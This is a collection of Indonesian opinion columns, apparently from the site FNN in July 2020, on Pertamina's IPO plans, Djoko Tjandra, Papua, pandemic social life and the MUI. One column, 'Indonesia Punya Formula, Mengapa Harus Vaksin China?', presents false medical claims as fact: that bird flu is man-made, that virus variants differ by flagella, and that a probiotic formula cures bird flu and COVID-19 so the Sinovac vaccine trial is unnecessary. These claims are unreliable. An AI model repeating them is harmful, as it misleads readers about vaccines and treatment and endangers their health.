negara di Pertamina tetap 100%. Sehingga, BUMN dikelola sesuai konstitusi. Saham 100% tetap milik Negara. Tanpa prospek negara menjadi minoritas seperti Indosat. Salah satu aspek penting dalam GCG adalah mencegah intervensi pejabat pemerintah terhadap BUMN. Sebagaimana terjadi selama ini. Faktanya, Pertamina telah menjadi korban kebijakan pemerintah yang merugikan keuangan korporasi terkait crude domestic, signature bonus Blok Rokan, harga BBM, LPG 3kg, dan lain-lain. Terkait crude domestik, signature bonus dan lapangan migas luar negeri, Pertamina harus mengeluarkan dana bernilai puluhan triliun rupiah. Semua itu sebagai beban biaya operasi “tambahan”. Sedangkan terkait harga BBM, sejak April 2017 hingga Desember 2019, Pertamina harus menanggung beban public service obligation (PSO) lebih dahulu sebesar Rp 95 triliun, yang hingga Mei 2020 belum dilunasi. Akibat beban PSO, kondisi keuangan dan cash flow perusahaan terganggu, sehingga Pertamina harus menerbitkan obligasi. Ini akibat kebijakan pemerintah yang melanggar UU dan prinsip GCG di atas. Minimal Pertamina harus menanggung beban: (1) biaya “tambahan” puluhan triliun rupiah dan, (2) beban bunga obligasi akibat tugas PSO yang nilainya juga puluhan triliun rupiah. Beban kerugian tersebut bisa bertambah jika credit rating Pertamina yang juga turun. Pertamina bisa mengalami gagal bayar atas utang jatuh tempo tahun ini, jika pemerintah tidak segera melunasi piutang Pertamina tersebut. Artinya, yang lebih mendesak dilakukan adalah penegakan GCG oleh pejabat pemerintah, dibanding IPO utk perbaikan GCG. Terbukti, karena pejabat pemerintah bermasalah, meskipun telah menjadi perusahaan terbuka IPO, prinsip GCG tetap dilanggar. Kasus ini pernah terjadi pada kasus Laporan Keuangan BUMN PT Garuda Indonesia Pada RDPU dengan Komisi VII DPR (29/6/2020), Pertamina mengatakan, perlu melakukan IPO karena membutuhkan dana yang sangat besar. Namun di sisi lain, uraian di atas menunjukkan bahwa keuangan Pertamina bermasalah akibat kebijakan intervensi dan kesewenang-wenangan pemerintah. Jika akhirnya IPO terlaksana, maka salah sebab tergadainya sebagian saham milik negara di Pertamina adalah sikap pemerintah yang selama ini menjadikan Pertamina sebagai sapi perah. Sekaligus melanggar UU dan prinsip GCG. Kembali kepada pernyataan Erick Thohir, maka IPO bukan satu-satunya cara untuk meraih transparansi dan akuntabilitas. Tetapi yang paling relevan dan mendesak untuk perbaikan GCG adalah menertibkan dan mengendalikan pejabat tertinggi di istana Negara. Juga sejumlah menteri yang justru membuat kebijakan dan melanggar aturan, yang secara faktual telah merugikan negara dan korporasi. Sejalan dengan itu, Erick pun perlu segera menjadikan Pertamina (juga PLN) sebagai non-listed public company. Dalam road map pengembangan bisnis Pertamina yang beredar pertengahan Juni 2020, tersusun rencana aksi korporasi untuk 2-3 tahun mendatang. Selain rencana IPO anak usaha, terdapat pula rencana-rencana merger, strategic partnership, sinergi, transfer, konsolidasi untuk sinergi BUMN dan divestasi saham. Menyangkut rencana IPO, sepanjang anak-anak usaha atau sub-holding tersebut merupakan bagian dari rantai utama bisnis Pertamina, maka jelas langkah tersebut harus dibatalkan. Alasannya, sebagaimana telah diuraikan sebelumnya. Terkait anak usaha yang bukan core business, maka berbagai aksi korporasi, termasuk penjualan saham atau divestasi, dapat saja diterima. Sepanjang pelaksanaannya dilakukan secara terbuka dan bebas moral hazard. Untuk memperoleh nilai tertinggi, penjualan saham non-core harus ditunda setelah pandemi korona. Dikhawatirkan penjualan yang terburu-buru akan ditumpangi oleh para pemburu rente yang memanfaatkan pendemi. Mereka akan kolaborasi dengan pengambil keputusan untuk meraih untung besar. Disinilah kampanye governance yang diusung Erick akan butuh pembuktian! Dalam road map tersebut juga tercantum rencana divestasi Saka Energi dan sejumlah anak usaha di lingkungan PHE. Dalam kondisi harga minyak dunia rendah, maka rencana divestasi Saka Senergi seharusnya ditunda. Begitu pula dengan rencana divestasi anak usaha di PHE. Rencana share-down saham Blok Mahakam dan Rokan juga perlu ditunda. Khusus divestasi Blok Rokan, beban signature bonus sekitar Rp 11,5 triliun harus diperhitungkan kembali. Prinsipnya, karena telah dikuasai Pertamina 100% dan merupakan bagian dari core business, maka share-down Blok Mahakam dan Blok Rokan menjadi tidak relevan. Divestasi kedua blok akan bermasalah jika tetap diakukan dengan mengacu harga minyak yang rendah. Bisa terjadi tanpa adanya transparasi pula. Moral hazard dalam divestasi saham pada kedua blok ini sangat potensial terjadi. Karena prosesnya berlangsung tanpa tender. Pada sisi lain, prosedur baku proses divestasi belum tersedia. Pengawasan dari lembaga lain tidak optimal. Sehingga, potensi kerugian negara pada Pertamina dari divestasi atau share-down kedua blok akan sangat besar. Oleh sebab itu, IRESS mengajak publik dan menuntut DPR untuk mengawasi secara seksama rencana divestasi kedua blok migas dan juga keseluruhan aksi-aksi korporasi yang akan dijalankan Pertamina dan Kementrian BUMN sesuai road map. Rencana IPO dan seluruh rencana aksi korporasi dapat saja sarat kepentingan kapitalis-liberal. Kepentingan perburuan rente dan oligarki penguasa-pengusaha. Rakyat butuh bukti dari Erick Thohir bahwa Pertamina adalah korporasi milik negara yang perlu dikelola secara konstitusional. Sesuai prinsip GCG dan bebas moral hazard. Rakyat tidak lagi butuh retorika hipokrit pembrantasan mafia minyak atau pengangkatan Komisaris Utama yang cacat hukum. Selain itu, kita menuntut pertanggungjawaban atas kejahatan yang telah menjadikan Pertamina sebagai sapi perah. Penulis adalah Direktur Eksekutif Indonesian Resources Studies (IRESS).

Indonesia Punya Formula, Mengapa Harus Vaksin China?

by Mochamad Toha Jakarta FNN - Kamis (23 Juli 2020). Ketika musim haji pada 2012 mewabah Flu Burung varian baru, New Corona, di sekitar Arab Saudi, melalui Onta, apakah vaksin yang dikirim ke sana itu dari China, Amerika Serikat atau negara lainnya yang selama ini dikenal sebagai produsen virus? Bukan! Bukan dari China atau AS yang biasanya memang rajin bikin vaksin! Tahukah Anda jika yang dikirim ke Arab Saudi itu ternyata formula bioto atau probiotik siklus/komunitas, berasal dari Indonesia yang dikemas dalam bentuk ampul vaksin? Atas permintaan Unicef, sebanyak 5.000 liter bioto dikemas oleh PT OM dalam ampul vaksin. Pengiriman ke Arab Saudi diatasnamakan Unicef, kemudian dibagikan kepada jamaah haji dan relatif berhasil menghindarkan jemaah haji dari wabah new corona. Beberapa waktu yang lalu, bioto dengan merk BJ dikirim ke Glenn Eagles, Singapore serta RS Malaya Malaysia, dan diberi merk sendiri, dengan indikasi untuk toksoplasma dan flu burung. Produk bioto tersebut dijual ke pasien, yang mayoritas orang Indonesia, dijual laris dengan harga Rp 1,5 juta rupiah. Di tempat lain, di Indonesia, ada profesor yang menjual suatu produk mikrobakteri dan diklaim hanya untuk toksoplasma, dijual dengan harga Rp750.000,-per botol (1,5 lt) dan laris. Faktanya ternyata produk yang dijual ini merupakan fermentasi bioto generasi ke 8 atau 9. Melalui riset yang dilakukan, maka dapat disimpulkan bahwa penyakit flu burung adalah murni buatan pihak tertentu yang tidak menginginkan adanya keseimbangan dunia ini. Sifat virus flu burung, di tiap negara, bahkan tiap daerah bisa berbeda. Bahkan beberapa waktu terakhir ini, sering kita dengar adanya berbagai varian flu burung diantaranya H1N1, H5N1, H7N9 (di China), New Corona, yang konon dianggap lebih mematikan dibanding varian terdahulu. Yang membedakan tiap varian virus flu burung sebenarnya adalah jumlah bulu getar pada virus tersebut. Bulu getar/flagel itu sebanarnya adalah semacam alat penghangat pada virus itu yang berfungsi untuk mempertahankan hidup mereka sendiri. Maka bila telah dijumpai terdapat jumlah bulu getar yang berbeda, oleh para ahli virologi dikatakan sebagai mutasi genetik dari virus flu burung. Tamiflu jelas tidak akan efektif untuk tiap kasus flu burung. Tiap jenis obat hanya akan efektif pada daerahnya sendiri, dan obat itupun belum mampu mematikan virus flu burung tersebut. Pengobatan yang paling efektif untuk flu burung adalah dengan probiotik atau bioto karena jumlah laktat yang tinggi. Formula ini sudah banyak membuktikan efektifitas probiotik/bioto terhadap kasus flu burung, sehingga bagi yang sudah tahu, sekarang flu burung bukanlah penyakit yang menakutkan dan mematikan. Kasus flu burung di China telah memakan korban cukup banyak, hal tersebut terjadi karena China menolak produk probiotik dan lebih bangga dengan produk herbal mereka, sehingga penanggulangan flu burung menjadi kurang efektif. Perlu dicatat, di dunia ini, pusat pengembangan produk bakteri terdapat di negara Jepang, Israel, dan Jerman. Sementara AS merupakan pusat produk virus. Jepang dengan revolusi mikrobakteri yang dilakukan melalui proses penanaman tumbuhan dengan menggunakan teknologi pupuk alami non kimia, telah berhasil menghidupkan serta menghijaukan kembali wilayah Hiroshima dan Nagasaki. Orang yang sangat berperan pada proses tersebut bernama Teruo Higa, yang terkenal sebagai penemu teknologi EM (efektif mikroorganisme). Vaksin Sinovac Mulai pekan ini tersebar berita Vaksin Corona buatan China bernama Sinovac sudah datang di Indonesia. Senin, 20 Juli 2020, tiba di Kota Bandung. Vaksin buatan China ini diproduksi perusahaan China bernama PT Sinovac. Di Indonesia uji coba dilakukan PT Biofarma, sebuah BUMN yang laboratorium besarnya di Bandung. Biofarma akan mencari relawan dalam jumlah banyak yang mau disuntik Sinovac. Tulisan Dahlan Iskan, Menanti Sinovac, Rabu (22 Juli 2020) menarik disimak. Itulah orang yang disebut dengan relawan uji coba klinis tahap tiga. Khusus untuk uji coba tahap tiga ini jumlah relawannya harus banyak. Boleh dikata: sebanyak mungkin. Kalau bisa sampai 3.000 orang. Setidaknya 300 orang. Kian banyak dari angka 300 kian baik. Agar bisa mendapatkan hasil evaluasi yang terbaik. Berdasarkan evaluasi uji coba tahap tiga itulah badan-badan dunia akan memberi ijin edar. Yakni badan yang terkait dengan obat/vaksin baru. Setelah izin keluar barulah vaksin itu boleh dipakai secara umum. Istilahnya pun belum disebut 'resmi boleh dipakai' melainkan 'uji coba tahap empat'. Tapi, untuk uji coba tahap empat itu sasarannya bukan relawan lagi. Siapa pun boleh disuntik dengan vaksin baru itu. Sambil terus dimonitor oleh badan-badan perizinan obat/ vaksin-baru dunia. Itulah sebabnya penemuan obat baru itu mahal sekali. Untuk uji coba tahap 4 ini saja, biayanya bisa mencapai Rp 200 miliar. Itu kalau di negara-negara Barat. Padahal di sana tidak ada Pilkada. Karena itu untuk mencari relawan tidak mudah. Mereka sangat takut pada efek samping obat baru itu. Di sana relawan jenis ini mirip relawan Pilkada/ Pilpres kita: harus dibayar. Di samping harus ada gizi, mereka juga harus menandatangani banyak dokumen: misalnya tidak akan menuntut apa pun kalau ternyata ada masalah dengan obat/vaksin itu. Mereka juga harus lebih dulu menjalani pemeriksaan kesehatan. Lengkap. Pun setelah sebulan disuntik. Pemeriksaan setelah penyuntikan itu bisa sampai dua kali. Berarti dua bulan. Kalau pun uji coba tahap 3 ini berhasil, berarti paling cepat Oktober izin pakai dari badan-badan dunia akan keluar. Katakanlah: November. Di bulan November tepat setahun Presiden Jokowi menjabat, vaksin itu sudah bisa diproduksi masal. Itu sudah sungguh-sangat- amat-luar-biasa cepat. Hanya 10 bulan setelah Covid-19 menyerang Wuhan, China, vaksin sudah ditemukan – dan sudah bisa dipakai secara umum. Normalnya, jika di dunia barat, vaksin atau pun obat baru seperti itu baru bisa meluncur ke pasar paling cepat lima tahun. Rasanya ini rekor sepanjang masa. Pun tidak mungkin terjadi kalau bukan China. Bukan saja perizinannya cepat tapi mencari relawan di sana tidak perlu ada tim sukses. Terutama untuk relawan tahap satu. Yang fokusnya pada dampak efek samping. Betapa bahayanya. Di tahap ini perlu waktu dan penelitian yang sangat cukup untuk mengetahui aman tidaknya obat baru. Itu masih diteruskan dengan uji coba untuk tahap dua: untuk mengetahui tingkat keberhasilan. Dengan jumlah relawan sampai 60 orang. Semua itu sudah sukses dilakukan di China. Tinggal uji coba tahap tiga. Yang sasarannya tidak boleh hanya di satu negara. Itulah sebabnya biayanya mahal sekali. Jika di dunia barat. Dengan uji coba di banyak negara maka efektivitas obat/vaksin baru bisa diketahui secara luas. Pun terhadap berbagai jenis manusia. Yang gen dan darahnya berbeda-beda. “Saya bersyukur Indonesia dipilih menjadi salah satu dari banyak negara lain untuk uji coba tahap tiga itu. Itu sebagai pertanda bahwa kita akan boleh memproduksi sendiri nantinya,” tulis Dahlan Iskan, seperti dikutip Disway.id, Rabu (22 Juli 2020). Relawan tahap tiga ini harus dari berbagai macam manusia: anak, remaja, muda, setengah umur dan orang tua –asal jangan tua sekali. Masing-masing dengan jenis kelamin yang berbeda-beda: laki, perempuan dan yang half-half. Mengapa harus Vaksin China? Apakah di Indonesia tidak ada ahli yang bisa membuat vaksin untuk atasi Virus Corona atau Covid-19? Padahal China sendiri pernah gagal saat menangani Flu Burung sehingga memakan korban cukup banyak. Hal itu terjadi karena China menolak produk probiotik, China lebih bangga dengan produk herbal mereka, sehingga penanggulangan flu burung menjadi kurang efektif. Masih adanya serangan Virus Corona di China sekarang ini bukti kegagalan China. Sebagai warga biasa, saya cuma bisa menyarankan, sebaiknya Biofarma tak perlu lakukan uji coba (lanjutan dari China) Vaksin Sinovac pada orang Indonesia. Jika ada kemauan, di sini sudah ada formula probiotik yang terbukti efektif atasi Covid-19. Sudah banyak uji klinis yang membuktikan, formula probiotik berhasil “mengobati” pasien Covid-19. "Kalau pake probiotik kan gak bisa korupsi. Covid-19 ini sangat menguntungkan pemain, Mas!" ujar seorang sumber. Penulis adalah Wartawan Senior.

Djoko Tjandra, Pembeli Kekuasaan dengan Predikat “Best Buyer”

by Asyasi Usman Jakarta FNN - Kamis (23 Juli 2020). Terima kasih Tuan Djoko Tjandra. Anda telah menunjukkan kepada seluruh dunia bahwa Anda bisa mengatur siapa saja di negeri ini. Anda bisa membeli siapa saja yang Anda perlukan. Anda bisa menyewa siapa saja yang Anda inginkan. Anda bisa membeli orang-orang berbintang yang sedang berkuasa. Anda bisa merekrut ‘bodyguard’ berpangkat brigjen. Anda bisa membeli pengacara yang memberikan ‘bantuan hukum’ dan ‘bantuan untuk melanggar hukum’. Saya bisa memahami perasaan Anda sekarang. Dan bisa juga memahami perasaan Anda sejak dulu. Yaitu, perasaan Anda yang bahagia luar biasa. Karena Anda yang berhasil menginjak-injak harga diri bangsa kami. Bangsa Indonesia. Anda tidak salah. Anda hanya berperilaku sebagai seorang pembeli. Pembeli kekuasaan semata. Pepatah mengatakan, “Pembeli itu Raja”. Tentunya maksud pepatah ini adalah bahwa penjual kekuasaan akan melayani Anda seperti raja. Anda itu adalah seorang ‘customer’ istimewa di mata para pedagang kekuasaan. Pastilah para pedagang kekuasaan akan selalu mendekati Anda. Mulai dari pedagang kekuasaan level asongan sampai pedagang kekuasaan level plaza. Anda memang beruntung bisa membeli kekuasaan apa saja yang Anda perlukan. Anda juga bisa membeli kekuasaan di tingkat kelurahan sampai ke tingkat menteri. Berbahagialah Anda, Tuan Djoko. Berbahagia karena berhasil mempermalukan kami yang masih merasa terhina oleh tindakan Anda. Harus diakui, banyak orang yang merasa tidak terhina oleh perilaku Anda. Anda tidak salah, Tuan Djoko. Yang salah adalah kami-kami yang tidak mampu menyesuaikan diri dengan perasaan normal para pemimpin dan pejabat tinggi kami. Yang sejak lama sudah terbiasa direndahkan, dihina, dan dilecehkan oleh orang-orang hebat seperti Anda. Kami belum sanggup seperti mereka. Mereka merasa tak terhina, tak tercela, ketika mendengar Anda bisa keluar-masuk di ruangan kerja para petinggi negara yang kami anggap mewakili martabat rakyat. Anda tidak salah, Tuan Djoko. Yang salah adalah kami semua. Kami sangka Pancasila itu diamalkan oleh para pemimpin kami sesuai dengan ceramah mereka. Ternyata sudah lama dilakukan ‘penyesuaian’ pengamalan Pancasila dengan ‘kebutuhan’ zaman. Rupanya, selama ini para pemimpin atau pejabat kami meneriakkan Pancasila hanya untuk menyebut kami teroris, radikal, ISIS, khilafatis, anti-NKRI, dan lain sebagainya. Kami sangka mereka benar-benar berpancasila. Kami tak menduga kalau mereka itu sudah lama berpura-pura. Kami yang tak sadar bahwa Pancasila sudah disimplifikasikan menjadi panduan yang luwes (fleksibel) agar para petinggi bisa beradaptasi dengan suasana kompetitif. Kami terlambat tahu bahwa belakangan ini memang dibangun kompetisi di kalangan para petinggi. Yaitu, kompetisi menjual kekuasaan supaya ada ‘penerimaan non bujeter’ yang lebih besar. Dengan kompetisi itu, para pemegang kekuasaan akan berlomba atau bersaing untuk mendapatkan hasil penjualan terbanyak. Termasuk bersaing dalam merebut pembeli kekuasaan kelas paus. Tampaknya, Tuan Djoko bisa dikategorikan ke dalam daftar pembeli papan atas. Bisa diberi penghargaan “best buyer”. Pembeli terbaik. Pantasanlah kemarin itu Tuan Djoko Tjandra memberikan teladan kepada para konsumen penikmat kekuasaan. Teladan tentang bagaimana cara melecehkan martabat rakyat, bangsa dan negara ini. Penulis adalah Wartawan Senior.

Papua Butuh Desekuritisasi

by Natalius Pigai Jakarta FNN – Rabu (22/07). Seorang Mama warga pengungsi berdiri dan berorasi dengan mengatakan, “dirinya melahirkan anak tidak untuk mati sia-sia. Mama itu membesarkan anaknya untuk menjaga Tanah Papua”. Sambunnya lagi, “sebelum Indonesia ada di Papua, tidak pernah ada orang Papua yang dibunuh sembarang”. Inilah kata-kata yang keluar dari mulut Mama Papua saat unjuk rasa protes penembakan Aparat TNI terhadap dua orang warga di Kabupaten Nduga, Provinsi Papua, Sabtu (18/7) lalu. Peristiwa ini kemudian menyulut aksi unjuk rasa pada Senin (20/7). Korban bernama Elias Karunggu (45 tahun) tewas bersama seorang anaknya dari Seru Karunggu (20 tahun). Senin lalu (20/7) keluarga korban bersama sejumlah masyarakat Kabupaten Nduga telah turun ke jalan melakukan aksi protes atas kasus penembakan ini. Dalam aksi tersebut, masyarakat meminta pemerintah Indonesia bertanggungjawab terhadap seluruh insiden penembakan dan kekerasan, yang kini menyulut perlawanan dari warga Papua di Ndugama. Pengunjuk rasa meminta Presiden Joko Widodo menarik pasukan TNI/Polri. Presiden harus segera menghentikan operasi militer yang telah dan sedang berlangsung di wilayah Ndugama. Mereka menilai, aparat keamanan kerap salah sasaran dalam melakukan operasi. Sebab, beberapa warga tanpa memegang senjata telah menjadi sasaran penembakan. Pemerintah masih meletakkan militer sebagai instrumen penting untuk mencegah konflik di Papua. Bahkan negara kini berpandangan bahwa jalan kekerasan militer itu satu-satunya cara untuk mempertahankan keutuhan wilayah Negara Kesatuan Republik Indonesia (NKRI). Sayangnya, skenario Jakarta ini sangat tidak tepat. Karena Jakarta tidak hanya menghadapi kelompok TPN/OPM, tetapi wilayah Papua yang terpisah dengan Jakarta jika dilihat dari etnologi dan antropologi ragawi, memiliki ciri-ciri fisik sebagai orang-orang berkulit hitam dan suku bangsa Melanesia. Di dalam hukum pertahanan, telah diajarkan bahwa kekuasaan negara akan jatuh dikala negara merdeka menghadapi satu rumpun etnik yang berbeda. Hal ini telah dibuktikan di Rusia yang melepaskan 13 negara Eropa Timur dan 3 negara Kaukasia Selatan. Jugoslavia pecah akibat multi etnik. Sudan Selatan dan Utara serta India, Pakistan dan Bangladesh. Karena itu problem di Papua tidak akan selesai jika Jakarta mengambil jalan kekerasan militer. Negara perlu mengambil jalan penyelesaian secara bermartabat melalui desekuritisasi. Pilihan desekuritiasasi diperlukan di Papua untuk menjamin keamanan dan perlindungan hak asasi manusia. Apalagi menyusul tidak ada pergeseran kebijakan keamanan di wilayah itu. Sudah bukan jamannya lagi untuk mempertahankan kekuatan militer sebagai satu-satunya jalan penyelesaian masalah Papua. Oleh karena itu, desekuritisasi di Papua agar segera dilakukan, karena pendekatan militer melahirkan peristiwa-peristiwa pelanggaran HAM. Berbagai penangkapan, penyiksaan, pembunuhan dan operasi militer di Papua telah menanam bibit-bibit kebencian. Yang tidak hanya kepada negara, tetapi juga kepada penduduk sipil kaum migran. Selama ini negara terkesan mengabaikan persoalan di Papua. Persoalan Papua dianggap Jakarta tidak penting. Pemerintah Jakarta hanya sibuk mengurusi pusat kekuasaan dan mengabaikan masalah social kemasyarakat dan keamanan di Papua. Sejak tahun 1969, secara umum pola pendekatan keamanan di Papua tidak bergeser. Pemerintah masih meletakkan militer sebagai instrumen penting untuk mencegah konflik di Papua. Namun pemerintah tidak sadar, bahwa sejak tahun 2010 Rakyat Papua telah menempu jalan penyelesaian masalah Papua secara diplomasi dan tanpa kekerasan. Pola baru pendekatan di Papua ini telah menyebabkan simpati dari berbagai negara dan komunitas internasional. Namun untuk menghadapi kekerasan militer, sayap militer di TPN/OPM masih melakukan perlawanan. Militer dan TPN/OPM masih dianggap sah dalam konteks antar combatan (inter-combat) berdasarkan hukum perang. Sesuai hukum humaniter dan konvensi Jenewa. Persoalannya, semua jenis operasi militer yang diterapkan di Papua yaitu operasi perbatasan. Operasi pengamanan daerah rawan dan obyek vital. Operasi intelijen dan operasi teritorial. Rakyat Papua telah dan sedang menjadi korban penangkapan, penyiksaan, pembunuhan. Ini masalah serius. Pemerintah Jakarta jangan menganggap enteng masalah ini. Otonomi Khusus Papua tidak lantas ikut merubah pola pendekatan militer atau desekuritisasi. Justru yang ada adalah berbagai kebijakan yang dapat dilihat untuk menyatakan secara lantang Papua sebagai Daerah Operasi Militer (DOP). Salah satunya indikatornyta dengan pengiriman aparat TNI/Polri secara terus menerus, sebagaimana juga dituliskan dalam hasil penelitian Imparsial . Pertama, kebijakan keamanan yang melibatkan militer. Kedua, masih berjalannya operasi militer. Ketiga, diteruskannya pengiriman pasukan non-organik ke Papua. Keempat, perluasan dan penambahan struktur komando teritorial baru di Papua. Kelima, pembangunan pos-pos TNI di sekitar pembangunan sarana sipil. Keenam, penumpukan dan penyimpangan anggaran APBN, APBD dan swasta untuk TNI terkait dengan operasi militer. Ketujuh, rencana pembangunan gelar kekuatan TNI yang baru di Papua. Operasi militer menghadapi insurgensia domestik tidak dapat dibenarkan. Karena akan menyebabkan kerusakan substantial, yaitu tragedi kemanusiaan. Rakyat Papua seakan-akan berada di daerah jajahan. Itulah sebabnya Rakyat Papua menolak secara serempak, simultan, masif dan meluas menolak penerapan Otonomi Khusus (Otsus) Papua. Penulis adalah Aktivis Kemanusiaan.

Mencari Jati Diri Indonesia di Tengah Pandemi

by Chaerudin Affan SE, M.Kesos Jakarta FNN – Rabu (22/07). Sudah beberapa bulan terakhir ini dunia dilanda bencana yang serius. Bumi seperti berhenti berputar. Roda ekonomi macet total. Semua negara direpotkan dengan kedatangan mahluk halus yang menyerang dan melumpuhkan sendi-sendi kehidupan bernegara. Kepanikan bukan hanya milik masyarakat. Tetapi juga para pengelola negara di seluruh dunia. Sudah teramat lama sejak 1918-1920 silam, dunia mengalami serangan mahluk halus. Serangan yang melululantakkan dunia. Kini mahluk halus itu datang lagi, dengan keganasan dan tidak dapat diselesaikan menggunakan teknologi yang berkembang pesat dalam dekade terakhir ini. Negara di dunia kini sibuk mengurus diri masing-masing. Adapun pengelola kawasan yang terserikat seperti Uni Eropa juga belum bisa menyelesaikan masalah di kawasannya. Semua negara sedang mencari selamat masing-masing. Maka wajar saja, hingga hari ini belum ada keputusan paten oleh Uni Eropa untuk mengatasi sendi-sendi yang rusak akibat serangan mahluk halus tersebut. Walaupun gelombang kepanikan masyarakat dunia sudah mulai mereda, Nyatanya kerusakan yang ditimbulkan masih juga terus berlanjut. Indonesia sebagai kunci dari lalulintas dua benua besar, otomatis terdampak. Bahkan ikut terkena serangan mahluk halus itu. Ribuan orang meninggal dalam kurun waktu empat bulan. Ratusan ribu warga negara telah menjadi inang dari mahluk jahannam dan yang tidak dikenal tersebut. Situasi di Indonesia tidak jauh dari negara-negara lain di seleruh dunia. Sejak mulai pertengahan maret pemerintah menetapkan serangan pandemi covid 19. Padahal sebelumnya para pejabat negara menangkis keras adanya serangan mahluk halus yang masuk ke negara ini. Namun setelah jumlah kasus semakin bertambah tinggi, untuk menanggulangi pandemi, berbagai protokol kesehatan dibuat oleh pemerintah pusat dan diikuti oleh pemerintah daerah. Indonesia nampak begitu gagap menghadapi serangan mahluk halus yang dikenal dengan sebutan corona. Tidak hanya sendi ekonomi yang terlihat semakin rusak. Tetapi juga sendi-sendi bernegara ikut semakin rusak dan berantakan. Kita bisa lihat pada awal pandemi, bagaimana pemerintah daerah yang tidak bersinergi antara tingkat Provinsi dan tingkat Kabupaten/Kota dengan pusat. Bagaimana kebijakan daerah banyak sekali yang bertabrakan dengan kebijakan di tingkat atasnya atau tingkat pusat pada awal penanggulangan. Bahkan terdapat pemerintah daerah yang saling caci-maki atau saling menyudutkan di media sosial. Pemandangan yang sangat buruk dan primitif untuk disaksikan oleh generaasi muda. Namun itulah kenyataan yang harus dinikmati. Kerusakan sendi sosial bukan main dampaknya. Beberapa bulan sholat Jum’at dan ibadah gereja ditiadakan. Perayaan hari-hari besar keagamaan juga ditiadakan. Pemberlakuan social distancing secara langsung ikut merubah kultur budaya Indonesia yang ramah menjadi saling curiga. Pembatasan sosial juga mengharuskan masyarakat melakukan berbagai aktivitas sehari-hari di rumah. Semua kegiatan dan aktivitas sosial kontak didigitalisasi. Jabat tangan yang sebelumnya merupakan ciri khas sosial kultur masyarakat Indonesia juga menghilang sekejap. Kalau di luar negeri jangan ditanya lagi. Kemungkinan jabat tangan hanya ada dalam acara resmi saja. Semua menjadi serba kaku. Kerusakan disendi ekonomi dirasakan semua lapisan. Semua masyarakat merasakan dampaknya. Tidak terkecuali masyarakat dengan strata ekonomi yang ada di tingkat atas. Lalu, bagaimana dengan masyarakat yang ekonomi lemah? Tentu sudah mulai bernapas dengan mulut. Karena hidungnya sudah semakin terjepit. Namun di tengah kerusakan yang dibuat oleh mahluk halus terhadap sendi-sendi negara, masyarakat Indonesia mulai menemukan jati dirinya. Dalam sendi sosial budaya misalnya, jabatan tangan mulai difariasi. Sikap saling curiga kemudian berubah kembali menjadi tolong menolong atau gotong royong. Kembalinya jati diri rakyat Indonesia sebenarnya adalah penyelamat pemerintah dalam mengatasi kesulitan ekonomi rakyat yang tidak dapat diatasinya. Sampai sekarang pemerintah masih kesulitan untuk memulihkan kerusakan di bidang ekonimi. Bahkan semakin bingung. Tidak tau jalan keluarnya. Saling menyalahkan sana-sini. Jati diri Indonesia sebagai sebuah bangsa nyatanya dipegang oleh rakyatnya. Disaat para pejabat masih saling tuding dan saling lempar tanggung jawab terhadap nasib rakyat. Padahal rakyat Indonesia justru sudah sibuk saling menolong di sekitarnya. Saat para pejabat daerah saling berebut bansos, rakyat sudah bergerak untuk membuat cara membantu tetangganya yang diisolasi mandiri. Disaat para pemangku kebijakan masih ribut soal tumpang tindih kebijakan ataran Provinsi dengan Kabupaten/Kota atau dengan Pemerintah Pusat, masyarakat secara inisiatif membuat protokolnya sendiri. Kemudian diterapkan di lingkungannya sendiri. Bahkan saat bansos di beberapa daerah tidak sesuai dengan ekspetasi rakyat, para pengusaha jauh lebih dulu menggelontorkan bantuan, baik itu berupa uang ataupun bahan pokok makanan. Gotong royong tidak hilang. Masih tetap ada dan melekat di masyarakat. Gotong royong yang dikatakan Bung Hatta sebagai cikal bakal Koperasi di Indonesia, yang telah lama hilang dari permukaan, kini tampak dijiwai masyarakat. Bila semangat gotong royong yang muncul di permukaan dapat dipotret dengan baik oleh para pemangku kebijakan, khususnya kepala Pemerintahan, tentu seharusnya mereka dapat mencontoh. Para pemangku kebijakan mencontoh untuk mengurangi ego sektoral. Juga mencontoh untuk saling mendukung. Mencontoh untuk berbagi peran sesuai dengan fungsi masing-masing. Mencontoh untuk tidak saling menuding. Mencontoh untuk tidak merasa diri sebagai pejabat paling hebat dari yang lain. Mencontoh untuk tidak membuat kegaduhan dengan pernyataan-pernyataan yang merasa paling benar sendiri. Mencontoh untuk saling merangkul dan memaafkan. Mencotoh saling menerima kritik untuk perbaikan. Bukan mencontoh untuk saling melaporkan di polisi. Lebih jauh dari itu semua, potret gotong royong di masyarakat seharusnya dapat ditangkap. Lalu, kemudian dikristalkan dalam model ekonomi koperasi. Bukan menjadikan koperasi sebatas objek skrup ekonomi yang hanya menerima bantuan. Koperasi dan Usaha Menengah Kecil dan Mikro (UMKM) seharusnya dijadikan sebagai core ekonomi nasional, karena telah tertuang dalam Pasal 33 UUD 1945. Saat ini seharusnya pemerintah mulai berbenah. Sebelum semuanya terlanjur musnah. Jati diri Bangsa Indonesia kembali terkubur. Dibawa oleh para penganut paham Neo-Merkantilisme. Meraka inilah yang sekaligus berprofesi sebagai pemburu rente. Penghisap darah rakyat seperti cerita dracula di malam hari. Sayangnya, mereka pemburu rente ini beroperasi mulai dari pagi, siang, sore, malam dan sampai pagi. Penulis adalah Direktur Pemberdayaan Masyarakat Pusat Kajian Kepemudaan (PUSKAMUDA) FISIP Universitas Indonesia.

MUI Jadi Lokomotif Perjuangan Umat

by M Rizal Fadillah Jakarta FNN – Rabu (22/07). Skandal Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang disinyalir merongrong ideologi Pancasila, bukan saja telah membuat gaduh ruang perpolitikan nasional. Tetapi telah masuk ke aspek keagamaan. Majelis Ulama Indonesia (MUI) turut tersengat, lalu mengeluarkan Maklumat yang jelas, tegas dan keras. Disamping menolak RUU HIP, MUI juga meminta segara dilakukan pengusutan kepada para inisiator atau konseptor RUU yang berbau menghidupkan kembali faham komunisme tersebut. Bahkan, sikap lanjutan dari MUI adalah kemungkinan adanya "masirah kubro" dari umat Islam, jika Maklumat tidak diindahkan oleh DPR atau Pemerintah. Umat Islam serentak mengadakan aksi-aksi protes. Sikap penolakan umat hampir terjadi di seluruh Indonesia. Sikap umat Islam tersebut untuk menindaklanjuti Maklumat MUI. Isu ancaman kebangkitan neo PKI dan komunisme melalui perundang-undangan yang menggerakkan aksi umat itu. Tekad umat Islam untuk menekan pengambil keputusan, agar mencabut atau membatalkan pembahasan RUU sangat kuat. Aksi berkelanjutan sudah teragendakan. Namun realitas yang dihadapi umat Islam adalah, baik DPR maupun Pemerintah tidak bergeming (unmoved). Hingga saat ini DPR tidak melakukan pencabutan atau pembatalan RUU HIP dari 